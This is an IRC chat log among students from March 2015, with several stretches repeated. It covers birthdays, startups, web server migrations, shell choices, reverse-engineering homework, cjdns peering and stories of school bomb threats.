[2015-03-10T01:53:33-0400] <LittleBobbyTables> It's why I gave plenty of warning :)
[2015-03-10T01:53:34-0400] <+awe> Also, you were born around me then.
[2015-03-10T01:53:47-0400] <LittleBobbyTables> also uhhh
[2015-03-10T01:53:59-0400] <LittleBobbyTables> do you know of any decent pwnable sources? The ones nezorg was talking about for the CTF
[2015-03-10T01:54:05-0400] <LittleBobbyTables> Like getting into a server or something
[2015-03-10T01:54:15-0400] <Tamini> awe: why didn't you get me a birthday present, awe? :(
[2015-03-10T01:54:25-0400] <+awe> When was your birthday?
[2015-03-10T01:54:35-0400] <LittleBobbyTables> Three months ago?
[2015-03-10T01:54:47-0400] <Tamini> yes
[2015-03-10T01:54:52-0400] <Tamini> how does LittleBobbyTables know this when you don't? :P
[2015-03-10T01:54:54-0400] <+awe> Well, I don't have a salary right now.
[2015-03-10T01:54:59-0400] <+awe> Nor did I then.
[2015-03-10T01:55:06-0400] <+awe> But I think I will by October. (I hope?)
[2015-03-10T01:55:17-0400] <LittleBobbyTables> Where do you hope?
[2015-03-10T01:55:26-0400] <+awe> My startup?
[2015-03-10T01:55:36-0400] <+awe> I'll get some $$$ for my research over the summer, too.
[2015-03-10T01:55:41-0400] <+awe> I think $5,000.
[2015-03-10T01:55:58-0400] <LittleBobbyTables> Weren't you already in a startup?
[2015-03-10T01:56:17-0400] <+awe> Yeah, but you need revenue to pay salaries.
[2015-03-10T01:56:23-0400] <LittleBobbyTables> Fair enough.
[2015-03-10T02:02:10-0400] <LittleBobbyTables> Anyway, bed time now.
[2015-03-10T02:04:17-0400] <+awe> Good night, LittleBobbyTables!
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[2015-03-10T02:44:24-0400] <Pharyngeal> \o
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[2015-03-10T06:33:16-0400] <JacobEdelman> I have rearrived 
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[2015-03-10T11:06:48-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZIesCd4I4hU
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[2015-03-10T11:19:31-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-10T01:47:12-0400] <LittleBobbyTables> I assumed you knew Alex, nobody in here would choose the name "jakub-" except for me, Jacob, and maybe Hyper.
[2015-03-10T01:47:20-0400] <Tamini> awe: yet again, your hair is still fantastic
[2015-03-10T01:47:38-0400] <Hyper> ?
[2015-03-10T01:47:48-0400] <+awe> Hyper's name isn't Jacob.
[2015-03-10T01:47:53-0400] <LittleBobbyTables> You're the kind of person that would have a dumb name, Hyper 
[2015-03-10T01:47:58-0400] <+awe> Also that dude's name is actually Jakub.
[2015-03-10T01:48:03-0400] <+awe> With a k and a u.
[2015-03-10T01:48:03-0400] <LittleBobbyTables> Based on the limited interaction we've had
[2015-03-10T01:48:04-0400] <+awe> As unfortunate as that is.
[2015-03-10T01:48:11-0400] <LittleBobbyTables> I feel bad for him.
[2015-03-10T01:48:12-0400] <+awe> But yeah, I mean, I don't *know* Alex.
[2015-03-10T01:48:12-0400] <Hyper> uh
[2015-03-10T01:48:15-0400] <+awe> I've just spoken to him some.
[2015-03-10T01:48:15-0400] <LittleBobbyTables> My point still stands.
[2015-03-10T01:48:19-0400] <+awe> He's really smart.
[2015-03-10T01:48:29-0400] <+awe> And is (if it wasn't obvious) one of the Rust devs.
[2015-03-10T01:48:52-0400] <Hyper> yeah no I don't do stupid shit with names and stuff
[2015-03-10T01:49:11-0400] <Hyper> I do stupid shit with everything else instead!
[2015-03-10T01:49:22-0400] <+awe> Woo!
[2015-03-10T01:49:37-0400] <LittleBobbyTables> See, it was a pretty well off assumption
[2015-03-10T01:52:58-0400] <LittleBobbyTables> awe, do you want to buy me an SSD for my birthday?
[2015-03-10T01:53:07-0400] <+awe> When's your birthday?
[2015-03-10T01:53:14-0400] <LittleBobbyTables> October
[2015-03-10T01:53:22-0400] <+awe> I might have a lot of money then.
[2015-03-10T01:53:24-0400] <+awe> Maybe.
[2015-03-10T01:53:33-0400] <LittleBobbyTables> It's why I gave plenty of warning :)
[2015-03-10T01:53:34-0400] <+awe> Also, you were born around me then.
[2015-03-10T01:53:47-0400] <LittleBobbyTables> also uhhh
[2015-03-10T01:53:59-0400] <LittleBobbyTables> do you know of any decent pwnable sources? The ones nezorg was talking about for the CTF
[2015-03-10T01:54:05-0400] <LittleBobbyTables> Like getting into a server or something
[2015-03-10T01:54:15-0400] <Tamini> awe: why didn't you get me a birthday present, awe? :(
[2015-03-10T01:54:24-0400] <+awe> When was your birthday?
[2015-03-10T01:54:34-0400] <LittleBobbyTables> Three months ago?
[2015-03-10T01:54:46-0400] <Tamini> yes
[2015-03-10T01:54:52-0400] <Tamini> how does LittleBobbyTables know this when you don't? :P
[2015-03-10T01:54:54-0400] <+awe> Well, I don't have a salary right now.
[2015-03-10T01:54:59-0400] <+awe> Nor did I then.
[2015-03-10T01:55:06-0400] <+awe> But I think I will by October. (I hope?)
[2015-03-10T01:55:16-0400] <LittleBobbyTables> Where do you hope?
[2015-03-10T01:55:26-0400] <+awe> My startup?
[2015-03-10T01:55:35-0400] <+awe> I'll get some $$$ for my research over the summer, too.
[2015-03-10T01:55:41-0400] <+awe> I think $5,000.
[2015-03-10T01:55:57-0400] <LittleBobbyTables> Weren't you already in a startup?
[2015-03-10T01:56:16-0400] <+awe> Yeah, but you need revenue to pay salaries.
[2015-03-10T01:56:23-0400] <LittleBobbyTables> Fair enough.
[2015-03-10T02:02:10-0400] <LittleBobbyTables> Anyway, bed time now.
[2015-03-10T02:04:16-0400] <+awe> Good night, LittleBobbyTables!
[2015-03-10T02:44:24-0400] <Pharyngeal> \o
[2015-03-10T06:33:16-0400] <JacobEdelman> I have rearrived 
[2015-03-10T11:06:48-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZIesCd4I4hU
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[2015-03-10T11:19:52-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-10T01:47:12-0400] <LittleBobbyTables> I assumed you knew Alex, nobody in here would choose the name "jakub-" except for me, Jacob, and maybe Hyper.
[2015-03-10T01:47:20-0400] <Tamini> awe: yet again, your hair is still fantastic
[2015-03-10T01:47:38-0400] <Hyper> ?
[2015-03-10T01:47:48-0400] <+awe> Hyper's name isn't Jacob.
[2015-03-10T01:47:53-0400] <LittleBobbyTables> You're the kind of person that would have a dumb name, Hyper 
[2015-03-10T01:47:58-0400] <+awe> Also that dude's name is actually Jakub.
[2015-03-10T01:48:03-0400] <+awe> With a k and a u.
[2015-03-10T01:48:03-0400] <LittleBobbyTables> Based on the limited interaction we've had
[2015-03-10T01:48:04-0400] <+awe> As unfortunate as that is.
[2015-03-10T01:48:11-0400] <LittleBobbyTables> I feel bad for him.
[2015-03-10T01:48:12-0400] <+awe> But yeah, I mean, I don't *know* Alex.
[2015-03-10T01:48:12-0400] <Hyper> uh
[2015-03-10T01:48:15-0400] <+awe> I've just spoken to him some.
[2015-03-10T01:48:15-0400] <LittleBobbyTables> My point still stands.
[2015-03-10T01:48:19-0400] <+awe> He's really smart.
[2015-03-10T01:48:29-0400] <+awe> And is (if it wasn't obvious) one of the Rust devs.
[2015-03-10T01:48:52-0400] <Hyper> yeah no I don't do stupid shit with names and stuff
[2015-03-10T01:49:11-0400] <Hyper> I do stupid shit with everything else instead!
[2015-03-10T01:49:22-0400] <+awe> Woo!
[2015-03-10T01:49:37-0400] <LittleBobbyTables> See, it was a pretty well off assumption
[2015-03-10T01:52:58-0400] <LittleBobbyTables> awe, do you want to buy me an SSD for my birthday?
[2015-03-10T01:53:07-0400] <+awe> When's your birthday?
[2015-03-10T01:53:14-0400] <LittleBobbyTables> October
[2015-03-10T01:53:22-0400] <+awe> I might have a lot of money then.
[2015-03-10T01:53:24-0400] <+awe> Maybe.
[2015-03-10T01:53:33-0400] <LittleBobbyTables> It's why I gave plenty of warning :)
[2015-03-10T01:53:34-0400] <+awe> Also, you were born around me then.
[2015-03-10T01:53:47-0400] <LittleBobbyTables> also uhhh
[2015-03-10T01:53:59-0400] <LittleBobbyTables> do you know of any decent pwnable sources? The ones nezorg was talking about for the CTF
[2015-03-10T01:54:05-0400] <LittleBobbyTables> Like getting into a server or something
[2015-03-10T01:54:15-0400] <Tamini> awe: why didn't you get me a birthday present, awe? :(
[2015-03-10T01:54:24-0400] <+awe> When was your birthday?
[2015-03-10T01:54:34-0400] <LittleBobbyTables> Three months ago?
[2015-03-10T01:54:46-0400] <Tamini> yes
[2015-03-10T01:54:52-0400] <Tamini> how does LittleBobbyTables know this when you don't? :P
[2015-03-10T01:54:54-0400] <+awe> Well, I don't have a salary right now.
[2015-03-10T01:54:59-0400] <+awe> Nor did I then.
[2015-03-10T01:55:06-0400] <+awe> But I think I will by October. (I hope?)
[2015-03-10T01:55:16-0400] <LittleBobbyTables> Where do you hope?
[2015-03-10T01:55:26-0400] <+awe> My startup?
[2015-03-10T01:55:35-0400] <+awe> I'll get some $$$ for my research over the summer, too.
[2015-03-10T01:55:41-0400] <+awe> I think $5,000.
[2015-03-10T01:55:57-0400] <LittleBobbyTables> Weren't you already in a startup?
[2015-03-10T01:56:16-0400] <+awe> Yeah, but you need revenue to pay salaries.
[2015-03-10T01:56:23-0400] <LittleBobbyTables> Fair enough.
[2015-03-10T02:02:10-0400] <LittleBobbyTables> Anyway, bed time now.
[2015-03-10T02:04:16-0400] <+awe> Good night, LittleBobbyTables!
[2015-03-10T02:44:24-0400] <Pharyngeal> \o
[2015-03-10T06:33:16-0400] <JacobEdelman> I have rearrived 
[2015-03-10T11:06:48-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZIesCd4I4hU
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[2015-03-10T01:47:12-0400] <LittleBobbyTables> I assumed you knew Alex, nobody in here would choose the name "jakub-" except for me, Jacob, and maybe Hyper.
[2015-03-10T01:47:20-0400] <Tamini> awe: yet again, your hair is still fantastic
[2015-03-10T01:47:38-0400] <Hyper> ?
[2015-03-10T01:47:48-0400] <+awe> Hyper's name isn't Jacob.
[2015-03-10T01:47:53-0400] <LittleBobbyTables> You're the kind of person that would have a dumb name, Hyper 
[2015-03-10T01:47:58-0400] <+awe> Also that dude's name is actually Jakub.
[2015-03-10T01:48:03-0400] <+awe> With a k and a u.
[2015-03-10T01:48:03-0400] <LittleBobbyTables> Based on the limited interaction we've had
[2015-03-10T01:48:04-0400] <+awe> As unfortunate as that is.
[2015-03-10T01:48:11-0400] <LittleBobbyTables> I feel bad for him.
[2015-03-10T01:48:12-0400] <+awe> But yeah, I mean, I don't *know* Alex.
[2015-03-10T01:48:12-0400] <Hyper> uh
[2015-03-10T01:48:15-0400] <+awe> I've just spoken to him some.
[2015-03-10T01:48:15-0400] <LittleBobbyTables> My point still stands.
[2015-03-10T01:48:19-0400] <+awe> He's really smart.
[2015-03-10T01:48:29-0400] <+awe> And is (if it wasn't obvious) one of the Rust devs.
[2015-03-10T01:48:52-0400] <Hyper> yeah no I don't do stupid shit with names and stuff
[2015-03-10T01:49:11-0400] <Hyper> I do stupid shit with everything else instead!
[2015-03-10T01:49:22-0400] <+awe> Woo!
[2015-03-10T01:49:37-0400] <LittleBobbyTables> See, it was a pretty well off assumption
[2015-03-10T01:52:58-0400] <LittleBobbyTables> awe, do you want to buy me an SSD for my birthday?
[2015-03-10T01:53:07-0400] <+awe> When's your birthday?
[2015-03-10T01:53:14-0400] <LittleBobbyTables> October
[2015-03-10T01:53:22-0400] <+awe> I might have a lot of money then.
[2015-03-10T01:53:24-0400] <+awe> Maybe.
[2015-03-10T01:53:33-0400] <LittleBobbyTables> It's why I gave plenty of warning :)
[2015-03-10T01:53:34-0400] <+awe> Also, you were born around me then.
[2015-03-10T01:53:47-0400] <LittleBobbyTables> also uhhh
[2015-03-10T01:53:59-0400] <LittleBobbyTables> do you know of any decent pwnable sources? The ones nezorg was talking about for the CTF
[2015-03-10T01:54:05-0400] <LittleBobbyTables> Like getting into a server or something
[2015-03-10T01:54:15-0400] <Tamini> awe: why didn't you get me a birthday present, awe? :(
[2015-03-10T01:54:24-0400] <+awe> When was your birthday?
[2015-03-10T01:54:34-0400] <LittleBobbyTables> Three months ago?
[2015-03-10T01:54:46-0400] <Tamini> yes
[2015-03-10T01:54:52-0400] <Tamini> how does LittleBobbyTables know this when you don't? :P
[2015-03-10T01:54:54-0400] <+awe> Well, I don't have a salary right now.
[2015-03-10T01:54:59-0400] <+awe> Nor did I then.
[2015-03-10T01:55:06-0400] <+awe> But I think I will by October. (I hope?)
[2015-03-10T01:55:16-0400] <LittleBobbyTables> Where do you hope?
[2015-03-10T01:55:26-0400] <+awe> My startup?
[2015-03-10T01:55:35-0400] <+awe> I'll get some $$$ for my research over the summer, too.
[2015-03-10T01:55:41-0400] <+awe> I think $5,000.
[2015-03-10T01:55:57-0400] <LittleBobbyTables> Weren't you already in a startup?
[2015-03-10T01:56:16-0400] <+awe> Yeah, but you need revenue to pay salaries.
[2015-03-10T01:56:23-0400] <LittleBobbyTables> Fair enough.
[2015-03-10T02:02:10-0400] <LittleBobbyTables> Anyway, bed time now.
[2015-03-10T02:04:16-0400] <+awe> Good night, LittleBobbyTables!
[2015-03-10T02:44:24-0400] <Pharyngeal> \o
[2015-03-10T06:33:16-0400] <JacobEdelman> I have rearrived 
[2015-03-10T11:06:48-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ZIesCd4I4hU
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[2015-03-10T13:07:38-0400] <Hyper> k
[2015-03-10T13:10:28-0400] <+awe> Hyper: I haven't updated this box in a looooong time.
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[2015-03-10T13:17:35-0400] <+awe> Pharyngeal: your hype site is down :(
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[2015-03-10T13:18:18-0400] <+awe> hi Hyper
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[2015-03-10T13:18:31-0400] <Hyper> awe: hi
[2015-03-10T13:18:40-0400] <+awe> Everything should be good now.
[2015-03-10T13:18:52-0400] <+awe> Also, lol, our next homework assignment is a RE one.
[2015-03-10T13:18:58-0400] <+awe> But it's got debug symbols and stuff.
[2015-03-10T13:35:42-0400] <Pharyngeal> awe: Which site? 
[2015-03-10T13:35:50-0400] <+awe> your name dot name
[2015-03-10T13:36:03-0400] <+awe> It 404s.
[2015-03-10T13:36:07-0400] <Pharyngeal> awe: 
[2015-03-10T13:36:17-0400] <Pharyngeal> Oh right, forgot to add that hostname to the new webserver
[2015-03-10T13:36:20-0400] <Pharyngeal> Thanks for letting me know
[2015-03-10T13:36:24-0400] <+awe> Yeah, no problem.
[2015-03-10T13:37:56-0400] <Pharyngeal> awe: Fixed, moved from apache to nginx with hhvm
[2015-03-10T13:38:30-0400] <+awe> Yeah, it works now.
[2015-03-10T13:45:18-0400] <Pharyngeal> awe: hhvm + nginx = <3
[2015-03-10T13:45:26-0400] <+awe> not using php = <3
[2015-03-10T13:45:43-0400] <Pharyngeal> True
[2015-03-10T13:51:20-0400] <+awe> I'm really excited to try using esod.
[2015-03-10T13:51:22-0400] <+awe> yesod*
[2015-03-10T13:51:25-0400] <+awe> I think that'll be cool.
[2015-03-10T13:55:16-0400] <+awe> It accepts 4x more requests/second as compared to node.
[2015-03-10T13:55:26-0400] <+awe> And node takes 5x more requests/second as compared to php.
[2015-03-10T14:05:50-0400] <grantwu> Which AP Physics?
[2015-03-10T14:06:16-0400] <grantwu> LittleBobbyTables: Wouldn't that depend on your shell not your version of linux?
[2015-03-10T14:07:31-0400] <grantwu> csh/tcsh don't have an equals sign for alias.
[2015-03-10T14:07:46-0400] <+awe> grantwu: who uses csh and tcsh?
[2015-03-10T14:08:55-0400] <grantwu> It's the default shell at my school.
[2015-03-10T14:08:59-0400] <grantwu> Most people switch to bash.
[2015-03-10T14:09:04-0400] <grantwu> I switched to zsh later.
[2015-03-10T14:09:09-0400] <grantwu> Some people use fish.
[2015-03-10T14:09:28-0400] <+awe> I use bash, but zsh is a fine choice.
[2015-03-10T14:10:55-0400] <grantwu> My next FP homework is hard crie
[2015-03-10T14:10:58-0400] <+awe> Why?
[2015-03-10T14:11:01-0400] <+awe> What is it?
[2015-03-10T14:11:45-0400] <grantwu> RE
[2015-03-10T14:11:59-0400] <grantwu> but
[2015-03-10T14:12:10-0400] <+awe> So, both of our next homeworks are RE? lol
[2015-03-10T14:12:26-0400] <+awe> But yours is not REing C with no optimizations and debugging symbols included.
[2015-03-10T14:12:37-0400] <grantwu> REing C?
[2015-03-10T14:12:43-0400] <+awe> Well, compiled C.
[2015-03-10T14:12:58-0400] <grantwu> oh
[2015-03-10T14:13:00-0400] <grantwu> oops
[2015-03-10T14:13:07-0400] <grantwu> I thought RE = expressiosn
[2015-03-10T14:13:12-0400] <grantwu> regular expressions
[2015-03-10T14:13:15-0400] <+awe> Oh lol.
[2015-03-10T14:13:18-0400] <+awe> Different.
[2015-03-10T14:13:24-0400] <+awe> I think of RE as reverse engineering typically.
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[2015-03-10T14:32:07-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-10T13:35:42-0400] <Pharyngeal> awe: Which site? 
[2015-03-10T13:35:50-0400] <+awe> your name dot name
[2015-03-10T13:36:02-0400] <+awe> It 404s.
[2015-03-10T13:36:06-0400] <Pharyngeal> awe: 
[2015-03-10T13:36:16-0400] <Pharyngeal> Oh right, forgot to add that hostname to the new webserver
[2015-03-10T13:36:19-0400] <Pharyngeal> Thanks for letting me know
[2015-03-10T13:36:23-0400] <+awe> Yeah, no problem.
[2015-03-10T13:37:55-0400] <Pharyngeal> awe: Fixed, moved from apache to nginx with hhvm
[2015-03-10T13:38:29-0400] <+awe> Yeah, it works now.
[2015-03-10T13:45:17-0400] <Pharyngeal> awe: hhvm + nginx = <3
[2015-03-10T13:45:25-0400] <+awe> not using php = <3
[2015-03-10T13:45:42-0400] <Pharyngeal> True
[2015-03-10T13:51:19-0400] <+awe> I'm really excited to try using esod.
[2015-03-10T13:51:21-0400] <+awe> yesod*
[2015-03-10T13:51:25-0400] <+awe> I think that'll be cool.
[2015-03-10T13:55:16-0400] <+awe> It accepts 4x more requests/second as compared to node.
[2015-03-10T13:55:25-0400] <+awe> And node takes 5x more requests/second as compared to php.
[2015-03-10T14:05:49-0400] <grantwu> Which AP Physics?
[2015-03-10T14:06:15-0400] <grantwu> LittleBobbyTables: Wouldn't that depend on your shell not your version of linux?
[2015-03-10T14:07:30-0400] <grantwu> csh/tcsh don't have an equals sign for alias.
[2015-03-10T14:07:46-0400] <+awe> grantwu: who uses csh and tcsh?
[2015-03-10T14:08:54-0400] <grantwu> It's the default shell at my school.
[2015-03-10T14:08:58-0400] <grantwu> Most people switch to bash.
[2015-03-10T14:09:03-0400] <grantwu> I switched to zsh later.
[2015-03-10T14:09:08-0400] <grantwu> Some people use fish.
[2015-03-10T14:09:27-0400] <+awe> I use bash, but zsh is a fine choice.
[2015-03-10T14:10:54-0400] <grantwu> My next FP homework is hard crie
[2015-03-10T14:10:58-0400] <+awe> Why?
[2015-03-10T14:11:00-0400] <+awe> What is it?
[2015-03-10T14:11:45-0400] <grantwu> RE
[2015-03-10T14:11:59-0400] <grantwu> but
[2015-03-10T14:12:10-0400] <+awe> So, both of our next homeworks are RE? lol
[2015-03-10T14:12:26-0400] <+awe> But yours is not REing C with no optimizations and debugging symbols included.
[2015-03-10T14:12:37-0400] <grantwu> REing C?
[2015-03-10T14:12:42-0400] <+awe> Well, compiled C.
[2015-03-10T14:12:57-0400] <grantwu> oh
[2015-03-10T14:12:59-0400] <grantwu> oops
[2015-03-10T14:13:07-0400] <grantwu> I thought RE = expressiosn
[2015-03-10T14:13:11-0400] <grantwu> regular expressions
[2015-03-10T14:13:14-0400] <+awe> Oh lol.
[2015-03-10T14:13:17-0400] <+awe> Different.
[2015-03-10T14:13:24-0400] <+awe> I think of RE as reverse engineering typically.
[2015-03-10T14:15:13-0400] <grantwu> ic
[2015-03-10T14:20:16-0400] <grantwu> apothy nooooo
[2015-03-10T14:20:21-0400] <grantwu> Tamini: Alice says "itok"
[2015-03-10T14:20:39-0400] <grantwu> "QAQ I don't remember tell her itok"
[2015-03-10T14:28:53-0400] <Hyper> RE = reverse engineering, regex = regex
[2015-03-10T14:28:54-0400] <Hyper> pls
[2015-03-10T14:29:19-0400] <grantwu> i sorry T.T
[2015-03-10T14:30:40-0400] <Hyper> grantwu: it's ok, with time I may forgive you
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[2015-03-10T13:35:42-0400] <Pharyngeal> awe: Which site? 
[2015-03-10T13:35:50-0400] <+awe> your name dot name
[2015-03-10T13:36:02-0400] <+awe> It 404s.
[2015-03-10T13:36:06-0400] <Pharyngeal> awe: 
[2015-03-10T13:36:16-0400] <Pharyngeal> Oh right, forgot to add that hostname to the new webserver
[2015-03-10T13:36:19-0400] <Pharyngeal> Thanks for letting me know
[2015-03-10T13:36:23-0400] <+awe> Yeah, no problem.
[2015-03-10T13:37:55-0400] <Pharyngeal> awe: Fixed, moved from apache to nginx with hhvm
[2015-03-10T13:38:29-0400] <+awe> Yeah, it works now.
[2015-03-10T13:45:17-0400] <Pharyngeal> awe: hhvm + nginx = <3
[2015-03-10T13:45:25-0400] <+awe> not using php = <3
[2015-03-10T13:45:42-0400] <Pharyngeal> True
[2015-03-10T13:51:19-0400] <+awe> I'm really excited to try using esod.
[2015-03-10T13:51:21-0400] <+awe> yesod*
[2015-03-10T13:51:25-0400] <+awe> I think that'll be cool.
[2015-03-10T13:55:16-0400] <+awe> It accepts 4x more requests/second as compared to node.
[2015-03-10T13:55:25-0400] <+awe> And node takes 5x more requests/second as compared to php.
[2015-03-10T14:05:49-0400] <grantwu> Which AP Physics?
[2015-03-10T14:06:15-0400] <grantwu> LittleBobbyTables: Wouldn't that depend on your shell not your version of linux?
[2015-03-10T14:07:30-0400] <grantwu> csh/tcsh don't have an equals sign for alias.
[2015-03-10T14:07:46-0400] <+awe> grantwu: who uses csh and tcsh?
[2015-03-10T14:08:54-0400] <grantwu> It's the default shell at my school.
[2015-03-10T14:08:58-0400] <grantwu> Most people switch to bash.
[2015-03-10T14:09:03-0400] <grantwu> I switched to zsh later.
[2015-03-10T14:09:08-0400] <grantwu> Some people use fish.
[2015-03-10T14:09:27-0400] <+awe> I use bash, but zsh is a fine choice.
[2015-03-10T14:10:54-0400] <grantwu> My next FP homework is hard crie
[2015-03-10T14:10:58-0400] <+awe> Why?
[2015-03-10T14:11:00-0400] <+awe> What is it?
[2015-03-10T14:11:45-0400] <grantwu> RE
[2015-03-10T14:11:59-0400] <grantwu> but
[2015-03-10T14:12:10-0400] <+awe> So, both of our next homeworks are RE? lol
[2015-03-10T14:12:26-0400] <+awe> But yours is not REing C with no optimizations and debugging symbols included.
[2015-03-10T14:12:37-0400] <grantwu> REing C?
[2015-03-10T14:12:42-0400] <+awe> Well, compiled C.
[2015-03-10T14:12:57-0400] <grantwu> oh
[2015-03-10T14:12:59-0400] <grantwu> oops
[2015-03-10T14:13:07-0400] <grantwu> I thought RE = expressiosn
[2015-03-10T14:13:11-0400] <grantwu> regular expressions
[2015-03-10T14:13:14-0400] <+awe> Oh lol.
[2015-03-10T14:13:17-0400] <+awe> Different.
[2015-03-10T14:13:24-0400] <+awe> I think of RE as reverse engineering typically.
[2015-03-10T14:15:13-0400] <grantwu> ic
[2015-03-10T14:20:16-0400] <grantwu> apothy nooooo
[2015-03-10T14:20:21-0400] <grantwu> Tamini: Alice says "itok"
[2015-03-10T14:20:39-0400] <grantwu> "QAQ I don't remember tell her itok"
[2015-03-10T14:28:53-0400] <Hyper> RE = reverse engineering, regex = regex
[2015-03-10T14:28:54-0400] <Hyper> pls
[2015-03-10T14:29:19-0400] <grantwu> i sorry T.T
[2015-03-10T14:30:40-0400] <Hyper> grantwu: it's ok, with time I may forgive you
[2015-03-10T14:32:45-0400] Mode is +nt
[2015-03-10T14:33:31-0400] <+awe> I think I might like the to-go meals at my dining hall more than the actual ones.
[2015-03-10T14:33:49-0400] <+awe> They rarely have Spanish foods in the dining hall, but the to-go meals are often Spanish foods.
[2015-03-10T14:52:29-0400] <+awe> Pharyngeal: by any chance do you know how available (or unavailable) full-funding is for PhD students at Penn?
[2015-03-10T14:53:29-0400] <+awe> Pharyngeal: http://www.cis.upenn.edu/prospective-students/graduate/aid.php
[2015-03-10T14:53:37-0400] <+awe> Basically just says some students will get funding.
[2015-03-10T16:50:38-0400] <Pharyngeal> awe: I am unaware, sorry
[2015-03-10T16:50:45-0400] <+awe> Yeah, s'all good.
[2015-03-10T16:51:05-0400] <+awe> Just curious because it's my dream grad school right now but there's also no way I'm going there if I can't get funding.
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[2015-03-10T17:43:22-0400] <JacobEdelman> Just saw the director of the NSA 
[2015-03-10T17:43:27-0400] <JacobEdelman> At Princeton
[2015-03-10T17:43:35-0400] <JacobEdelman> It was interesting
[2015-03-10T17:58:13-0400] <JacobEdelman> In labyrinth books now 
[2015-03-10T17:58:42-0400] <JacobEdelman> https://usercontent.irccloud-cdn.com/file/3yYEWMFs/irccloudcapture-1474870740.jpg
[2015-03-10T17:59:21-0400] <JacobEdelman> Awe: looks like your kinda book
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[2015-03-10T19:15:43-0400] <LittleBobbyTables> grantwu: ahh, true.
[2015-03-10T19:16:00-0400] <LittleBobbyTables> I forgot this chapter was mostly about those shells
[2015-03-10T19:43:46-0400] <hardmath123> so i wanna implement Github-esque "show language statistics" for the header of my blog
[2015-03-10T19:44:08-0400] <hardmath123> like, when you click the little colored strip on top, it expands to things I can do
[2015-03-10T19:48:35-0400] <Tamini> ...
[2015-03-10T19:48:43-0400] <Tamini> JacobEdelman: what's this about someone threatening to bomb south/
[2015-03-10T19:53:54-0400] <+awe> hardmath123: hm, that'd be cool.
[2015-03-10T19:58:41-0400] <Pharyngeal> awe: Did the other #pdgn people ever peer?
[2015-03-10T19:59:29-0400] <+awe> Unfortunately not.
[2015-03-10T19:59:36-0400] <JacobEdelman> Oh, I heard about that
[2015-03-10T19:59:41-0400] <JacobEdelman> I have no idea
[2015-03-10T19:59:49-0400] <JacobEdelman> I'll check with my sources
[2015-03-10T20:00:09-0400] <Pharyngeal> Heh, bomb threats
[2015-03-10T20:00:42-0400] <+awe> There's historically been a lot of bomb threats in our district.
[2015-03-10T20:01:06-0400] <LittleBobbyTables> Didn't someone call in a bomb threat to work just so he could update the computers undisturbed for a couple of hours?
[2015-03-10T20:01:19-0400] <Pharyngeal> awe: We had a few this year, for the first time in a while, and the community was shitting itself
[2015-03-10T20:01:21-0400] <+awe> hardmath123: you should put cjdns on backtick and then peer with me.
[2015-03-10T20:01:28-0400] <Pharyngeal> hardmath123: And me!
[2015-03-10T20:01:38-0400] <JacobEdelman> awe: really? Or is it just confirmation bias?
[2015-03-10T20:01:52-0400] <+awe> JacobEdelman: You're misusing the term confirmation bias, I think.
[2015-03-10T20:02:19-0400] <jwoglom> apparently it's TJ lore that someone called in a bomb threat to get out of a physics test
[2015-03-10T20:02:22-0400] <+awe> When my sister was in middle school, there were a few and then there was one or two when she was in high school.
[2015-03-10T20:02:44-0400] <+awe> jwoglom: that really wouldn't be worthwhile because you'll get caught.
[2015-03-10T20:02:46-0400] <JacobEdelman> Hmm.. Yeah I think I was
[2015-03-10T20:02:47-0400] <jwoglom> that's a lot..
[2015-03-10T20:02:53-0400] <hardmath123> awe: but I don't know how!
[2015-03-10T20:02:54-0400] <+awe> jwoglom: the real way would be to do it very, very anonymously.
[2015-03-10T20:03:01-0400] <+awe> hardmath123: I can help you! It's really easy!
[2015-03-10T20:03:12-0400] <Pharyngeal> In response, the students at our high school are only allowed to enter/exit one set of doors, they installed a bunch more cameras, and they want to make all exterior doors lock from the inside =/
[2015-03-10T20:03:14-0400] <jwoglom> awe: well, like 7-8 years ago someone did phone in a threat of some kind
[2015-03-10T20:03:26-0400] <JacobEdelman> Hmmm.. all of or schools seem to have problems.... Except for tj
[2015-03-10T20:03:28-0400] <hardmath123> awe: would it mess with the server's operation? is it potentially irreversible? how likely is it that something will break?
[2015-03-10T20:03:32-0400] <jwoglom> police were called, school was evacuated on a cold winter day to the football field
[2015-03-10T20:03:35-0400] <jwoglom> and stayed there for, like, hours
[2015-03-10T20:03:36-0400] <hardmath123> awe: basically, should i consult with my co-sysadmin?
[2015-03-10T20:03:46-0400] <JacobEdelman> I take that back then
[2015-03-10T20:03:48-0400] <+awe> It's reversible, it uses a different network interface and thus won't cause issues, and it probably won't break.
[2015-03-10T20:03:55-0400] <+awe> Pharyngeal: and I both use it on DO VPSes.
[2015-03-10T20:03:58-0400] <jwoglom> JacobEdelman: oh TJ has it's problems
[2015-03-10T20:04:01-0400] <+awe> jwoglom: you should also peer your VPS with us.
[2015-03-10T20:04:03-0400] <+awe> erm
[2015-03-10T20:04:04-0400] <+awe> JacobEdelman: ^
[2015-03-10T20:04:09-0400] <JacobEdelman> jwoglom: ?
[2015-03-10T20:04:17-0400] <jwoglom> we're not as perfect as everyone thinks we are :P
[2015-03-10T20:04:23-0400] <JacobEdelman> What vps?
[2015-03-10T20:04:26-0400] <+awe> jwoglom: but you're also the #2 ranked high school nationally.
[2015-03-10T20:04:32-0400] <JacobEdelman> jwoglom: details
[2015-03-10T20:04:36-0400] <+awe> JacobEdelman: the HSCS one?
[2015-03-10T20:04:43-0400] <Pharyngeal> awe: Mine are no longer on DigitalOcean
[2015-03-10T20:04:43-0400] <JacobEdelman> Ahhh.. some day
[2015-03-10T20:04:47-0400] <Pharyngeal> Womp womp
[2015-03-10T20:04:50-0400] <+awe> Pharyngeal: ah, right, you did say you migrated.
[2015-03-10T20:04:53-0400] <+awe> Pharyngeal: why is that?
[2015-03-10T20:04:55-0400] <jwoglom> awe: found to be number one by multiple sources on many occasions, ahem :P
[2015-03-10T20:05:02-0400] <+awe> jwoglom: nope, #2.
[2015-03-10T20:05:11-0400] <+awe> jwoglom: USWNR is the only source anyone cares about.
[2015-03-10T20:05:35-0400] <Pharyngeal> awe: Needed to save some money, so I moved the functions of one DO machine to a Linode that I had, and moved the functions of the other to a Vultr I have
[2015-03-10T20:05:43-0400] <+awe> Ah, okay.
[2015-03-10T20:05:47-0400] <jwoglom> awe: well we were #1 in that from like 2007-2012
